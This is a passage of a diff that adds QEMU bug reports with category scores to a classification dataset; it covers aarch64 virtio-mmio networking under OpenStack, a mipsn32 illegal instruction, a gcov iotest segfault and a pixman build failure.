11:12:20 artful-test4 systemd-networkd[604]: enp1s0: DHCPv4 address 192.168.122.14/24 via 192.168.122.1 +Oct 11 11:12:20 artful-test4 systemd-networkd[604]: Not connected to system bus, ignoring transient hostname. +Oct 11 11:12:30 artful-test4 systemd-networkd[604]: enp1s0: Configured + +Dumping the XML to check if it might have rewritten a lot shows me that my config is good: + <interface type='bridge'> + <mac address='52:54:00:b1:db:89'/> + <source bridge='virbr0'/> + <target dev='vnet0'/> + <model type='virtio'/> + <alias name='net0'/> + <address type='virtio-mmio'/> + </interface> + +So TL;DR a config almost the same as yours works. +Yet the difference is that livbirt has set up 'virbr0' in my case and I'd assume openstack did create qbrb5d335fc-46 on its own. + +As next step I'd recommend iterating your config around different bridge scenarios to find what breaks it. +Then if reasonable try to exclude openstack from the equation as I shown above (or not if you think the fix needs to be in openstack). + +I hope this helped to get closer to the root casue, but I thought that a working example on the new Ocata stack might be the best start with. + +Note this was done on: +libvirt-daemon-system 3.6.0-1ubuntu4 +qemu-kvm 1:2.10+dfsg-0ubuntu1 + +Note - be careful if you mean upstream qemu/libvirt (as the bug was filed) or the packages in Ubuntu (I added tasks for these). +I try to spot both, but will be more on-track for the latter. + +I spent some time today trying to modify the ocata xml templates produced in /etc/libvirt/qemu/<INSTANCE-ID>.xml for each of the generated instances. Destroying & Undefining the existing instance, making some changes and redefining the xml, however it appears that nova regenerates these templates upon instance reset, thus removing any changes made to the xml template. Is there any way to disable this feature that does not require some serious modifications to the nova underpinnings? + +The problem is with virtio-mmio. + +https://bugzilla.redhat.com/show_bug.cgi?id=1422413 + +Instances launched with virtio-mmio on aarch64 will not get DHCP (will not have a nic) + +xml with libvirt 2.5.0 + + <interface type='bridge'> + <mac address='fa:16:3e:af:95:2e'/> + <source bridge='qbrb5abdeb0-a0'/> + <target dev='tapb5abdeb0-a0'/> + <model type='virtio'/> + <alias name='net0'/> + <address type='virtio-mmio'/> + +I have updated libvirt-daemon to 3.6.0 on a particular compute node - when an instance is booted now, the nic section of the virsh xml looks like this: + + <interface type='bridge'> + <mac address='fa:16:3e:10:0e:22'/> + <source bridge='qbr274809a0-dc'/> + <target dev='tap274809a0-dc'/> + <model type='virtio'/> + <alias name='net0'/> + <address type='pci' domain='0x0000' bus='0x01' slot='0x00' function='0x0'/> + +The instance then gets a NIC and is able to get DHCP and complete cloud-init successfully. + + +So, +libvirt knew about some change and picks the right default if you do not specify it. +But if you (Openstack in this case) specify virtio-mmio as type, then it fails - is that correct? + +The patch in the referred RH-BZ is already in the qemu we have in Artful (and thereby Ocata). +So if that is supposed to be the issue there has to be a new one after that fix. + +Also as I've shown in c#17 (yes it is long sorry) - virtio-mmio works with the bridge that libvirt is usually creating - again my assumption is that it is somehow related to how this bridge is created (openvswitch in your case I assume). + +So is the real error "network fails when using virtio-mmio on openvswitch set up by openstack"? +I have no OVS around to quickly try something around that atm. + +Would it be reasonable to teach Openstack to not define virtio-mmio in this case? +Libvirt will make the right default (hopefully also when driven by Openstack which sets some force options), and just work then. + +Hi, +@admcleod as discussed on IRC I realized Ocata maps to Zesty so that is qemu 2.8. +Therefore the referred patch is released in Artful, but not in Zesty. + +I tagged up the bug tasks and provide a fix in [1] to test. + +[1]: https://launchpad.net/~ci-train-ppa-service/+archive/ubuntu/2995 + +To further reinforce what Christian said, the Newton cloud-archive also uses virtio-mmio for its address type. (See my comment#15) + +Newton XML: + + <interface type='bridge'> + <mac address='fa:16:3e:8e:fc:48'/> + <source bridge='qbrb5d335fc-46'/> + <target dev='tapb5d335fc-46'/> + <model type='virtio'/> + <alias name='net0'/> + <address type='virtio-mmio'/> + </interface> + +but we have proven this works with Newton. Is it fair to say this could be attributed to a change in OVS, between Newton and Ocata? + + + +This appears to be: https://bugzilla.redhat.com/show_bug.cgi?id=1422413 + +Yeah, the offending patch in RH-BZ 1422413 appeared in qemu 2.8. +So it would make sense to work with newtwon (2.6.1), and pike (2.10), but fail on Ocata (2.8). + +I checked the ppa, in general it seems to work for me, so I'm now waiting for your verification if that really addresses the issue you are facing. +If that would be the case I can pass it through regression tests and afterwards to SRU (which currently holds another update that has to clear before doing so) + +Since we wait for the zesty verification I'm setting the status to incomplete for now. + +Since the fix mentioned in the previous comments is already in upstream QEMU, I'm setting the upstream status to "Fix released". + +I've tested with the packages from the ppa: + +https://launchpad.net/~ci-train-ppa-service/+archive/ubuntu/2995 + + +qemu: + Installed: 1:2.8+dfsg-3ubuntu2.7~ppa5cloud +qemu-system-arm: + Installed: 1:2.8+dfsg-3ubuntu2.7~ppa5cloud +qemu-system-aarch64: + Installed: 1:2.8+dfsg-3ubuntu2.7~ppa5cloud + + +Rebooted the instance and it aquired an IP address and booted. + + +more info, virsh dumpxml excerpt: + + <interface type='bridge'> + <mac address='fa:16:3e:4e:1f:8f'/> + <source bridge='qbrd542e755-45'/> + <target dev='tapd542e755-45'/> + <model type='virtio'/> + <alias name='net0'/> + <address type='virtio-mmio'/> + +will test these and report back shortly. + +I've testing with the same packages listed in comment #28, Confirmed that this now works.. + +See attached log + +Ok, driving that into an SRU then - thanks for verifying. + +Regression tests on the ppa are good as well, we need to double check the auto-run on proposed then to ensure this doesn't behave differently on other arches. +I cleaned up the changelog and UCA backport noise and made a proper SRU for zesty. + +Note: there is currently another SRU in flight (already in verified state for 2 days), so acceptance from zesty-unapproved likely has to wait a bit until the former one clears completely + +I accepted this but Launchpad timed out when the SRU testing comment was being added. + +Thanks for the FYI Brian. +I see it in pending-SRUs as it should be. +I added the -needed tags to be "correct". + +@Andrew/Sean - could you test proposed and set verified then (assuming it works like the ppa did) + + +Odd - this really seems to hit everything, not only LP timeouts. +There are also dep8 regressions listed on systemd which make no sense in relation to the fix. +The test history on arm is borked since February [1], so I ask you to override and ignore that. +On s390x it at least works sometimes, but the log [2] doesn't look much better, but there at least it hits a different issue than before - I'm retriggering this for now - but likely ask to ignore that as well - but I'll take a look at the retry first. + + +[1]: http://autopkgtest.ubuntu.com/packages/s/systemd/zesty/armhf +[2]: http://autopkgtest.ubuntu.com/packages/s/systemd/zesty/s390x + +As assumed s390x passed now (so a flaky test), and as outlined before armhf we just have to give up. +Looking at the history an override might be the right thing to do. + +Other than that all looks good, waiting for the verify by Sean/Andrew now. + +Ok, Zesty actually had an override for the arm test (had to learn the placement of those for SRUs). +So only up to the verification now. + +Hello Sean, or anyone else affected, + +Accepted qemu into ocata-proposed. The package will build now and be available in the Ubuntu Cloud Archive in a few hours, and then in the -proposed repository. + +Please help us by testing this new package. To enable the -proposed repository: + + sudo add-apt-repository cloud-archive:ocata-proposed + sudo apt-get update + +Your feedback will aid us getting this update out to other Ubuntu users. + +If this package fixes the bug for you, please add a comment to this bug, mentioning the version of the package you tested, and change the tag from verification-ocata-needed to verification-ocata-done. If it does not fix the bug for you, please add a comment stating that, and change the tag to verification-ocata-failed. In either case, details of your testing will help us make a better decision. + +Further information regarding the verification process can be found at https://wiki.ubuntu.com/QATeam/PerformingSRUVerification . Thank you in advance! + +Thanks Christian - I've now verified this. I took a stepwise approach: + +1) We originally observed this issue w/ the ocata cloud archive on xenial, so I redeployed that. I verified that I was still seeing the problem. I then created a PPA[*] w/ an arm64 build of QEMU from the ocata-staging PPA, which is a backport of the zesty-proposed package, and upgraded my nova-compute nodes to this version. I rebooted my test guests, and the problem was resolved. + +2) I then updated my sources.list to point to zesty (w/ proposed enabled), and upgraded qemu-system-arm. This way I could test the actual build in zesty-proposed, as opposed to my backport. This continued to work. + +3) Finally, I dist-upgraded this system from xenial to zesty - so that I'm actually testing the zesty build in a zesty environment, and rebooted. Still worked :) + +[*] https://launchpad.net/~dannf/+archive/ubuntu/lp1719196 + +This bug was fixed in the package qemu - 1:2.8+dfsg-3ubuntu2.7 + +--------------- +qemu (1:2.8+dfsg-3ubuntu2.7) zesty; urgency=medium + + * d/p/ubuntu/virtio-Fix-no-interrupt-when-not-creating-msi-contro.patch: + on Arm fix no interrupt when not creating msi controller. That fixes + broken networking if running with virtio-mmio only (LP: #1719196). + + -- Christian Ehrhardt <email address hidden> Wed, 18 Oct 2017 16:17:34 +0200 + +The verification of the Stable Release Update for qemu has completed successfully and the package has now been released to -updates. Subsequently, the Ubuntu Stable Release Updates Team is being unsubscribed and will not receive messages about this bug report. In the event that you encounter a regression using the package from -updates please report a new bug using ubuntu-bug and tag the bug report regression-update so we can easily find any regressions. + + + +Regression testing has passed successfully. + +zesty-ocata-proposed with stable charms: + +====== +Totals +====== +Ran: 102 tests in 1897.0150 sec. + - Passed: 93 + - Skipped: 9 + - Expected Fail: 0 + - Unexpected Success: 0 + - Failed: 0 +Sum of execute time for each test: 1011.5607 sec. + +zesty-ocata-proposed with dev charms: + +====== +Totals +====== +Ran: 102 tests in 1933.5299 sec. + - Passed: 93 + - Skipped: 9 + - Expected Fail: 0 + - Unexpected Success: 0 + - Failed: 0 +Sum of execute time for each test: 963.0546 sec. + +xenial-ocata-proposed with stable charms: + +====== +Totals +====== +Ran: 102 tests in 1767.3787 sec. + - Passed: 93 + - Skipped: 9 + - Expected Fail: 0 + - Unexpected Success: 0 + - Failed: 0 +Sum of execute time for each test: 906.2188 sec. + +xenial-ocata-proposed with dev charms: + +====== +Totals +====== +Ran: 102 tests in 2051.1377 sec. + - Passed: 93 + - Skipped: 9 + - Expected Fail: 0 + - Unexpected Success: 0 + - Failed: 0 +Sum of execute time for each test: 998.9001 sec. + + diff --git a/results/classifier/108/graphic/1722 b/results/classifier/108/graphic/1722 new file mode 100644 index 000000000..f769a1bcb --- /dev/null +++ b/results/classifier/108/graphic/1722 @@ -0,0 +1,102 @@ +graphic: 0.963 +performance: 0.958 +semantic: 0.957 +device: 0.956 +permissions: 0.952 +other: 0.948 +vnc: 0.944 +debug: 0.930 +PID: 0.917 +network: 0.909 +socket: 0.896 +files: 0.856 +boot: 0.813 +KVM: 0.808 + +qemu-mipsn32: Illegal Instruction at `exts` instruction +Description of problem: +Run with the command above, I got this error: + +``` +qemu-mipsn32 run +qemu: uncaught target signal 4 (Illegal instruction) - core dumped +Illegal instruction (core dumped) +``` + +I then tried to debug the program with qemu option `-g 1234` and know that + +``` +$ gdb-multiarch run +... + +pwndbg> target remote 0:1234 +... + +pwndbg> c +Continuing. + +Program received signal SIGILL, Illegal instruction. +0x3f7d2434 in ?? () from /lib32/ld.so.1 +warning: GDB can't find the start of the function at 0x3f7d2434. +x/10i + +pwndbg> x/10i $pc +=> 0x3f7d2434: 0x7047f03a + 0x3f7d2438: lui a3,0x7000 + 0x3f7d243c: ori a3,a3,0x5e + 0x3f7d2440: b 0x3f7d241c + 0x3f7d2444: subu v0,a3,v0 + 0x3f7d2448: sltiu a7,a3,-3 + 0x3f7d244c: bnezl a7,0x3f7d246c + 0x3f7d2450: subu a3,a4,v0 + 0x3f7d2454: addiu a3,a3,1 + 0x3f7d2458: li v0,-4 +``` + +So I know the problem is in libc32/ld.so.1. When I dissasemble that file and look at offset 0x4434, it's an `exts` instruction as below: + +``` +$ file /lib32/ld.so.1 +/lib32/ld-2.15.so: ELF 32-bit MSB shared object, MIPS, N32 MIPS64 rel2 version 1 (SYSV), dynamically linked, stripped + +$ ./mips64-n32--glibc--stable-2022.08-1/bin/mips64-buildroot-linux-gnu-objdump -d /lib32/ld.so.1 | less + ... + 4434: 7047f03a exts a3,v0,0x0,0x1e + 4438: 3c077000 lui a3,0x7000 + 443c: 34e7005e ori a3,a3,0x5e + 4440: 1000fff6 b 441c <GLIBC_2.0@@GLIBC_2.0+0x441c> + 4444: 00e21023 subu v0,a3,v0 + 4448: 2cebfffd sltiu a7,a3,-3 + 444c: 55600007 bnezl a7,446c <GLIBC_2.0@@GLIBC_2.0+0x446c> + 4450: 01023823 subu a3,a4,v0 + 4454: 24e70001 addiu a3,a3,1 + 4458: 2402fffc li v0,-4 +``` +Steps to reproduce: +1. Download toolchain of mips64-n32 on toolchains.bootlin.com [here](https://toolchains.bootlin.com/releases_mips64-n32.html) +2. Write this c code to file `run.c`: + +```c +#include <stdio.h> + +int main(){ + puts("hello world"); + while (1); +} +``` + +3. Compile file run.c with downloaded toolchain: + +``` +mips64-n32--glibc--stable-2022.08-1/bin/mips64-buildroot-linux-gnu-gcc run.c -o run +``` + +> Step 1, 2 and 3 can be skip if you download the attached `run` file. + +4. Download the attached ld +5. Make new dir at `/lib32` and move the file ld to `/lib32` +6. Run command `qemu-mipsn32 run` +Additional information: +[ld-2.15.so](/uploads/95f4da26e42d43d39aa2350670134bb5/ld-2.15.so) + +[run](/uploads/01be57442009a75cf2f59cbcf53474f4/run) diff --git a/results/classifier/108/graphic/1727259 b/results/classifier/108/graphic/1727259 new file mode 100644 index 000000000..a53007e6d --- /dev/null +++ b/results/classifier/108/graphic/1727259 @@ -0,0 +1,242 @@ +graphic: 0.920 +other: 0.911 +debug: 0.910 +vnc: 0.908 +permissions: 0.905 +device: 0.902 +performance: 0.902 +semantic: 0.902 +socket: 0.870 +boot: 0.865 +network: 0.859 +files: 0.858 +KVM: 0.850 +PID: 0.840 + +qemu-io-test 58 segfaults when configured with gcov + +Head is at 3d7196d43bfe12efe98568cb60057e273652b99b + +Steps to re-produce: +1. git clone +./configure --enable-gcov --target-list=ppc64-softmmu +make +cd tests/qemu-iotests + +2. export qemu binary, in my environment +export QEMU_PROG=/home/nasastry/qemu_gcov/ppc64-softmmu/qemu-system-ppc64 + +3. Run test 58 with format qcow2 +./check -qcow2 58 + +QEMU -- "/home/nasastry/qemu_gcov/ppc64-softmmu/qemu-system-ppc64" -nodefaults -machine accel=qtest +QEMU_IMG -- "/home/nasastry/qemu_gcov/qemu-img" +QEMU_IO -- "/home/nasastry/qemu_gcov/qemu-io" --cache writeback -f qcow2 +QEMU_NBD -- "/home/nasastry/qemu_gcov/qemu-nbd" +IMGFMT -- qcow2 (compat=1.1) +IMGPROTO -- file +PLATFORM -- Linux/ppc64le zzfp365-lp1 4.13.0-4.rel.git49564cb.el7.centos.ppc64le +TEST_DIR -- /home/nasastry/qemu_gcov/tests/qemu-iotests/scratch +SOCKET_SCM_HELPER -- /home/nasastry/qemu_gcov/tests/qemu-iotests/socket_scm_helper + +058 1s ... - output mismatch (see 058.out.bad) +--- /home/nasastry/qemu_gcov/tests/qemu-iotests/058.out 2017-10-09 14:09:04.262726912 +0530 ++++ /home/nasastry/qemu_gcov/tests/qemu-iotests/058.out.bad 2017-10-25 15:00:52.037515025 +0530 +@@ -19,16 +19,28 @@ + 4 KiB, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) + + == verifying the exported snapshot with patterns, method 1 == +-read 4096/4096 bytes at offset 4096 +-4 KiB, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +-read 4096/4096 bytes at offset 8192 +-4 KiB, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) ++./common.rc: line 66: 36255 Segmentation fault (core dumped) ( if [ "${VALGRIND_QEMU}" == "y" ]; then ++ exec valgrind --log-file="${VALGRIND_LOGFILE}" --error-exitcode=99 "$QEMU_IO_PROG" $QEMU_IO_ARGS "$@"; ++else ++ exec "$QEMU_IO_PROG" $QEMU_IO_ARGS "$@"; ++fi ) ++./common.rc: line 66: 36262 Segmentation fault (core dumped) ( if [ "${VALGRIND_QEMU}" == "y" ]; then ++ exec valgrind --log-file="${VALGRIND_LOGFILE}" --error-exitcode=99 "$QEMU_IO_PROG" $QEMU_IO_ARGS "$@"; ++else ++ exec "$QEMU_IO_PROG" $QEMU_IO_ARGS "$@"; ++fi ) + + == verifying the exported snapshot with patterns, method 2 == +-read 4096/4096 bytes at offset 4096 +-4 KiB, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +-read 4096/4096 bytes at offset 8192 +-4 KiB, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) ++./common.rc: line 66: 36274 Segmentation fault (core dumped) ( if [ "${VALGRIND_QEMU}" == "y" ]; then ++ exec valgrind --log-file="${VALGRIND_LOGFILE}" --error-exitcode=99 "$QEMU_IO_PROG" $QEMU_IO_ARGS "$@"; ++else ++ exec "$QEMU_IO_PROG" $QEMU_IO_ARGS "$@"; ++fi ) ++./common.rc: line 66: 36282 Segmentation fault (core dumped) ( if [ "${VALGRIND_QEMU}" == "y" ]; then ++ exec valgrind --log-file="${VALGRIND_LOGFILE}" --error-exitcode=99 "$QEMU_IO_PROG" $QEMU_IO_ARGS "$@"; ++else ++ exec "$QEMU_IO_PROG" $QEMU_IO_ARGS "$@"; ++fi ) + + == verifying the converted snapshot with patterns, method 1 == + read 4096/4096 bytes at offset 4096 +Failures: 058 +Failed 1 of 1 tests + +with out gcov configured this test case is pass. +# ./check -qcow2 58 +QEMU -- "/home/nasastry/qemu/ppc64-softmmu/qemu-system-ppc64" -nodefaults -machine accel=qtest +QEMU_IMG -- "/home/nasastry/qemu/qemu-img" +QEMU_IO -- "/home/nasastry/qemu/qemu-io" --cache writeback -f qcow2 +QEMU_NBD -- "/home/nasastry/qemu/qemu-nbd" +IMGFMT -- qcow2 (compat=1.1) +IMGPROTO -- file +PLATFORM -- Linux/ppc64le zzfp365-lp1 4.13.0-4.rel.git49564cb.el7.centos.ppc64le +TEST_DIR -- /home/nasastry/qemu/tests/qemu-iotests/scratch +SOCKET_SCM_HELPER -- /home/nasastry/qemu/tests/qemu-iotests/socket_scm_helper + +058 0s ... +Passed all 1 tests + +from demsg: +[84831.506917] qemu-io[35971]: unhandled signal 11 at 0000000000000004 nip 00007fffae20f7d4 lr 00000000102d3ec8 code 30001 +[84831.519551] qemu-io[35977]: unhandled signal 11 at 0000000000000004 nip 00007fff9925f7d4 lr 00000000102d3ec8 code 30001 +[84831.634000] qemu-io[35990]: unhandled signal 11 at 0000000000000004 nip 00007fff86b4f7d4 lr 00000000102d3ec8 code 30001 +[84831.646318] qemu-io[35997]: unhandled signal 11 at 0000000000000004 nip 00007fffa165f7d4 lr 00000000102d3ec8 code 30001 + +from gdb: +(gdb) bt +#0 0x00007fff8c75f7d4 in __strcmp_power9 () from /lib64/libc.so.6 +#1 0x00000000102d3ec8 in find_desc_by_name (desc=0x1036d6f0, name=0x28e46670 "server.path") at util/qemu-option.c:166 +#2 0x00000000102d93e0 in qemu_opts_absorb_qdict (opts=0x28e47a80, qdict=0x28e469a0, errp=0x7fffec247c98) at util/qemu-option.c:1026 +#3 0x000000001012a2e4 in nbd_open (bs=0x28e42290, options=0x28e469a0, flags=24578, errp=0x7fffec247d80) at block/nbd.c:406 +#4 0x00000000100144e8 in bdrv_open_driver (bs=0x28e42290, drv=0x1036e070 <bdrv_nbd_unix>, node_name=0x0, options=0x28e469a0, open_flags=24578, errp=0x7fffec247f50) at block.c:1135 +#5 0x0000000010015b04 in bdrv_open_common (bs=0x28e42290, file=0x0, options=0x28e469a0, errp=0x7fffec247f50) at block.c:1395 +#6 0x000000001001bee8 in bdrv_open_inherit (filename=0x7fffec24f2c2 "nbd:unix:/home/nasastry/qemu_gcov/tests/qemu-iotests/scratch/test_qemu_nbd_socket", reference=0x0, options=0x28e469a0, flags=57346, parent=0x28e3bf90, + child_role=0x102fa980 <child_file>, errp=0x7fffec248150) at block.c:2615 +#7 0x000000001001a620 in bdrv_open_child_bs (filename=0x7fffec24f2c2 "nbd:unix:/home/nasastry/qemu_gcov/tests/qemu-iotests/scratch/test_qemu_nbd_socket", options=0x28e40250, bdref_key=0x102fb618 "file", parent=0x28e3bf90, + child_role=0x102fa980 <child_file>, allow_none=true, errp=0x7fffec248150) at block.c:2314 +#8 0x000000001001b9c0 in bdrv_open_inherit (filename=0x7fffec24f2c2 "nbd:unix:/home/nasastry/qemu_gcov/tests/qemu-iotests/scratch/test_qemu_nbd_socket", reference=0x0, options=0x28e40250, flags=24578, parent=0x0, + child_role=0x0, errp=0x7fffec248310) at block.c:2566 +#9 0x000000001001c70c in bdrv_open (filename=0x7fffec24f2c2 "nbd:unix:/home/nasastry/qemu_gcov/tests/qemu-iotests/scratch/test_qemu_nbd_socket", reference=0x0, options=0x28e3af70, flags=16386, errp=0x7fffec248310) + at block.c:2697 +#10 0x00000000100e7664 in blk_new_open (filename=0x7fffec24f2c2 "nbd:unix:/home/nasastry/qemu_gcov/tests/qemu-iotests/scratch/test_qemu_nbd_socket", reference=0x0, options=0x28e3af70, flags=16386, errp=0x7fffec248310) + at block/block-backend.c:321 +#11 0x000000001000b57c in openfile (name=0x7fffec24f2c2 "nbd:unix:/home/nasastry/qemu_gcov/tests/qemu-iotests/scratch/test_qemu_nbd_socket", flags=16386, writethrough=false, force_share=false, opts=0x28e3af70) at qemu-io.c:81 +#12 0x000000001000e388 in main (argc=11, argv=0x7fffec248a38) at qemu-io.c:624 +(gdb) bt full +#0 0x00007fff8c75f7d4 in __strcmp_power9 () from /lib64/libc.so.6 +No symbol table info available. +#1 0x00000000102d3ec8 in find_desc_by_name (desc=0x1036d6f0, name=0x28e46670 "server.path") at util/qemu-option.c:166 + i = 7 +#2 0x00000000102d93e0 in qemu_opts_absorb_qdict (opts=0x28e47a80, qdict=0x28e469a0, errp=0x7fffec247c98) at util/qemu-option.c:1026 + local_err = 0x0 + state = {opts = 0x28e47a80, errp = 0x7fffec247bd0} + entry = 0x28e46640 + next = 0x28e479e0 +#3 0x000000001012a2e4 in nbd_open (bs=0x28e42290, options=0x28e469a0, flags=24578, errp=0x7fffec247d80) at block/nbd.c:406 + s = 0x28e48740 + opts = 0x28e47a80 + local_err = 0x0 + sioc = 0x0 + tlscreds = 0x0 + hostname = 0x0 + ret = -22 + __func__ = "nbd_open" +#4 0x00000000100144e8 in bdrv_open_driver (bs=0x28e42290, drv=0x1036e070 <bdrv_nbd_unix>, node_name=0x0, options=0x28e469a0, open_flags=24578, errp=0x7fffec247f50) at block.c:1135 + local_err = 0x0 + ret = 0 + __PRETTY_FUNCTION__ = "bdrv_open_driver" + __func__ = "bdrv_open_driver" +#5 0x0000000010015b04 in bdrv_open_common (bs=0x28e42290, file=0x0, options=0x28e469a0, errp=0x7fffec247f50) at block.c:1395 + ret = 0 + open_flags = 24578 + filename = 0x0 + driver_name = 0x28e47c00 "nbd" + node_name = 0x0 + discard = 0x28e47ce0 "unmap" + detect_zeroes = 0x0 + opts = 0x28e47ad0 + drv = 0x1036e070 <bdrv_nbd_unix> + local_err = 0x0 + __PRETTY_FUNCTION__ = "bdrv_open_common" + __func__ = "bdrv_open_common" +#6 0x000000001001bee8 in bdrv_open_inherit (filename=0x7fffec24f2c2 "nbd:unix:/home/nasastry/qemu_gcov/tests/qemu-iotests/scratch/test_qemu_nbd_socket", reference=0x0, options=0x28e469a0, flags=57346, parent=0x28e3bf90, + child_role=0x102fa980 <child_file>, errp=0x7fffec248150) at block.c:2615 + ret = 0 + file = 0x0 + bs = 0x28e42290 + drv = 0x1036e070 <bdrv_nbd_unix> + drvname = 0x28e46750 "nbd" + backing = 0x0 + local_err = 0x0 + snapshot_options = 0x0 + snapshot_flags = 0 + __PRETTY_FUNCTION__ = "bdrv_open_inherit" + __func__ = "bdrv_open_inherit" +#7 0x000000001001a620 in bdrv_open_child_bs (filename=0x7fffec24f2c2 "nbd:unix:/home/nasastry/qemu_gcov/tests/qemu-iotests/scratch/test_qemu_nbd_socket", options=0x28e40250, bdref_key=0x102fb618 "file", parent=0x28e3bf90, + child_role=0x102fa980 <child_file>, allow_none=true, errp=0x7fffec248150) at block.c:2314 + bs = 0x0 + image_options = 0x28e41270 + bdref_key_dot = 0x28e29a60 "" + reference = 0x0 + __PRETTY_FUNCTION__ = "bdrv_open_child_bs" + __func__ = "bdrv_open_child_bs" +#8 0x000000001001b9c0 in bdrv_open_inherit (filename=0x7fffec24f2c2 "nbd:unix:/home/nasastry/qemu_gcov/tests/qemu-iotests/scratch/test_qemu_nbd_socket", reference=0x0, options=0x28e40250, flags=24578, parent=0x0, + child_role=0x0, errp=0x7fffec248310) at block.c:2566 + file_bs = 0x7fffec2481c0 + ret = 0 + file = 0x0 + bs = 0x28e3bf90 + drv = 0x10354b40 <bdrv_raw> + drvname = 0x28e29440 "raw" + backing = 0x0 + local_err = 0x0 + snapshot_options = 0x0 +---Type <return> to continue, or q <return> to quit--- + snapshot_flags = 0 + __PRETTY_FUNCTION__ = "bdrv_open_inherit" + __func__ = "bdrv_open_inherit" +#9 0x000000001001c70c in bdrv_open (filename=0x7fffec24f2c2 "nbd:unix:/home/nasastry/qemu_gcov/tests/qemu-iotests/scratch/test_qemu_nbd_socket", reference=0x0, options=0x28e3af70, flags=16386, errp=0x7fffec248310) + at block.c:2697 +No locals. +#10 0x00000000100e7664 in blk_new_open (filename=0x7fffec24f2c2 "nbd:unix:/home/nasastry/qemu_gcov/tests/qemu-iotests/scratch/test_qemu_nbd_socket", reference=0x0, options=0x28e3af70, flags=16386, errp=0x7fffec248310) + at block/block-backend.c:321 + blk = 0x28e294b0 + bs = 0x7fffec248280 + perm = 3 +#11 0x000000001000b57c in openfile (name=0x7fffec24f2c2 "nbd:unix:/home/nasastry/qemu_gcov/tests/qemu-iotests/scratch/test_qemu_nbd_socket", flags=16386, writethrough=false, force_share=false, opts=0x28e3af70) at qemu-io.c:81 + local_err = 0x0 +#12 0x000000001000e388 in main (argc=11, argv=0x7fffec248a38) at qemu-io.c:624 + readonly = 0 + sopt = 0x102fa128 "hVc:d:f:rsnCmkt:T:U" + lopt = {{name = 0x102fa1f8 "help", has_arg = 0, flag = 0x0, val = 104}, {name = 0x102fa200 "version", has_arg = 0, flag = 0x0, val = 86}, {name = 0x102fa208 "cmd", has_arg = 1, flag = 0x0, val = 99}, { + name = 0x102fa210 "format", has_arg = 1, flag = 0x0, val = 102}, {name = 0x102fa218 "read-only", has_arg = 0, flag = 0x0, val = 114}, {name = 0x102fa228 "snapshot", has_arg = 0, flag = 0x0, val = 115}, { + name = 0x102fa238 "nocache", has_arg = 0, flag = 0x0, val = 110}, {name = 0x102fa240 "copy-on-read", has_arg = 0, flag = 0x0, val = 67}, {name = 0x102fa250 "misalign", has_arg = 0, flag = 0x0, val = 109}, { + name = 0x102fa260 "native-aio", has_arg = 0, flag = 0x0, val = 107}, {name = 0x102fa270 "discard", has_arg = 1, flag = 0x0, val = 100}, {name = 0x102fa278 "cache", has_arg = 1, flag = 0x0, val = 116}, { + name = 0x102fa280 "trace", has_arg = 1, flag = 0x0, val = 84}, {name = 0x102fa108 "object", has_arg = 1, flag = 0x0, val = 256}, {name = 0x102fa288 "image-opts", has_arg = 0, flag = 0x0, val = 257}, { + name = 0x102f9768 "force-share", has_arg = 0, flag = 0x0, val = 85}, {name = 0x0, has_arg = 0, flag = 0x0, val = 0}} + c = -1 + opt_index = 11 + flags = 16386 + writethrough = false + local_error = 0x0 + opts = 0x28e3af70 + format = 0x7fffec24f28f "raw" + trace_file = 0x0 + force_share = false + +I'll work on this. + +Patch sent: +http://lists.nongnu.org/archive/html/qemu-devel/2018-01/msg00883.html + +The fix was committed: + +https://git.qemu.org/?p=qemu.git;a=commitdiff;h=c4365735a7d38f4355c6f77e6670d3972315f7c2 + +commit c4365735a7d38f4355c6f77e6670d3972315f7c2 +Author: Murilo Opsfelder Araujo <email address hidden> +Date: Fri Jan 5 11:32:41 2018 -0200 + + block/nbd: fix segmentation fault when .desc is not null-terminated + diff --git a/results/classifier/108/graphic/1739 b/results/classifier/108/graphic/1739 new file mode 100644 index 000000000..86957eb3b --- /dev/null +++ b/results/classifier/108/graphic/1739 @@ -0,0 +1,51 @@ +graphic: 0.957 +files: 0.951 +PID: 0.895 +performance: 0.891 +device: 0.859 +socket: 0.858 +debug: 0.831 +permissions: 0.800 +network: 0.794 +semantic: 0.758 +vnc: 0.727 +other: 0.705 +boot: 0.625 +KVM: 0.577 + +Build process is broken in /audio/dbusaudio.c:36: pixman.h cannot be found +Description of problem: +Hello. + +I try to build qemu using commit aa1048e33c. But build process stop in /audio/dbusaudio.c with this error log: + +``` +[979/9916] Generating audio-dbus.modin...d (wrapped by meson to capture output) +FAILED: audio-dbus.modinfo +/home/fred/qemu-git/src/qemu/build-full/pyvenv/bin/meson --internal exe --capture audio-dbus.modinfo -- /home/fred/qemu-git/src/qemu/build-full/pyvenv/bin/python3 /home/fred/qemu-git/src/qemu/scripts/modinfo-collect.py ../audio/dbusaudio.c +--- stderr --- +In file included from /home/fred/qemu-git/src/qemu/include/ui/console.h:4, + from /home/fred/qemu-git/src/qemu/ui/dbus.h:31, + from ../audio/dbusaudio.c:36: +/home/fred/qemu-git/src/qemu/include/ui/qemu-pixman.h:12:10: fatal error: pixman.h: No such file or directory + 12 | #include <pixman.h> + | ^~~~~~~~~~ +compilation terminated. +``` + +Of course I have pixman.h which could be find in pixman package: + +``` +pacman -Ql pixman | grep pixman.h +pixman /usr/include/pixman-1/pixman.h +``` + +Used configuration: ```--prefix=/usr --sysconfdir=/etc --localstatedir=/var --libexecdir=/usr/lib/qemu --smbd=/usr/bin/smbd --enable-modules --enable-sdl --disable-werror``` + +The last time I got a buildable qemu was with commit 79dbd910c9, 3 days ago. +Steps to reproduce: +1. Grab latest commit +2. Use this configure line: ```--prefix=/usr --sysconfdir=/etc --localstatedir=/var --libexecdir=/usr/lib/qemu --smbd=/usr/bin/smbd --enable-modules --enable-sdl --disable-werror``` +3. make and wait +Additional information: + diff --git a/results/classifier/108/graphic/1743441 b/results/classifier/108/graphic/1743441 new file mode 100644 index 000000000..abb72213c --- /dev/null +++ b/results/classifier/108/graphic/1743441 @@ -0,0 +1,27 @@ +graphic: 0.922 +device: 0.811 +boot: 0.808 +semantic: 0.674 +performance: 0.654 +vnc: 0.533 +other: 0.486 +socket: 0.419 +network: 0.415 +permissions: 0.363 +files: 0.348 +debug: 0.273 +PID: 0.185 +KVM: 0.006 + +OS/2 Warp 4.52 OS2LVM failure + +When I try to boot OS/2 Warp 4.51 